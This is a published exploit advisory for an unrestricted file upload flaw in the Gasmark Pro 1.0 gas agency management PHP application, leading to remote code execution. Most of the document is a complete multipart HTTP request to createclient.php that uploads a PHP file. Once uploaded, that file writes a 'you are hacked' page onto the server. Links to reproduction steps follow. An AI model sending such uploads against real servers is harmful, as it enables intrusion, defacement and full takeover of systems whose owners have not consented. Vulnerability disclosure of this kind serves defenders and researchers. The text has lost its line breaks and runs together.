Gasmark Pro 1.0 Shell Upload

## Title: GASMARK PRO-1.0 File Upload RCE## Author: nu11secur1ty## Date: 03/17/2024## Vendor: https://www.mayurik.com/## Software: https://www.sourcecodester.com/php/15586/gas-agency-management-system-project-php-free-download-source-code.html## Reference: https://portswigger.net/web-security/file-upload## Reference: https://www.cloudflare.com/learning/security/what-is-remote-code-execution/## Description:Vulnerable input:`<input type="file" class="form-control" id="productImage"name="productImage" style="width:auto;">`This application suffers from shell upload and remote code executionvulnerability, the attacker easilycan destroy this system, when he has credentials.STATUS: HIGH- Vulnerability CRITICAL[+]Exploit:```PHPPOST /gasmark/gasmark/php_action/createclient.php HTTP/1.1Host: pwnedhost.comCookie: PHPSESSID=1afinf22p9snl2nai24g29duucContent-Length: 1063Cache-Control: max-age=0Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1Origin: https://pwnedhost.comContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryb4PfTJ8hUNsEjxtBUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://pwnedhost.com/gasmark/gasmark/add_client.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Priority: u=0, iConnection: close------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="currnt_date"------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="name"pwned------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="gender"Female------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="mob_no"1234------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="reffering"1234------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="address"1234------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="productImage"; filename="1nsi1deyou.php"Content-Type: application/octet-stream<?php// by nu11secur1ty - 2023$fh = fopen('test.html', 'a');fwrite($fh, '<h1>Hello, you are hacked by Fileupload and RCE!</h1>');fclose($fh);//nlink('test.html');?>------WebKitFormBoundaryb4PfTJ8hUNsEjxtBContent-Disposition: form-data; name="create"------WebKitFormBoundaryb4PfTJ8hUNsEjxtB--```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/Gas-Agency-Management-2022)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/03/gasmark-pro-10-file-upload-rce.html)## Time spent:00:25:00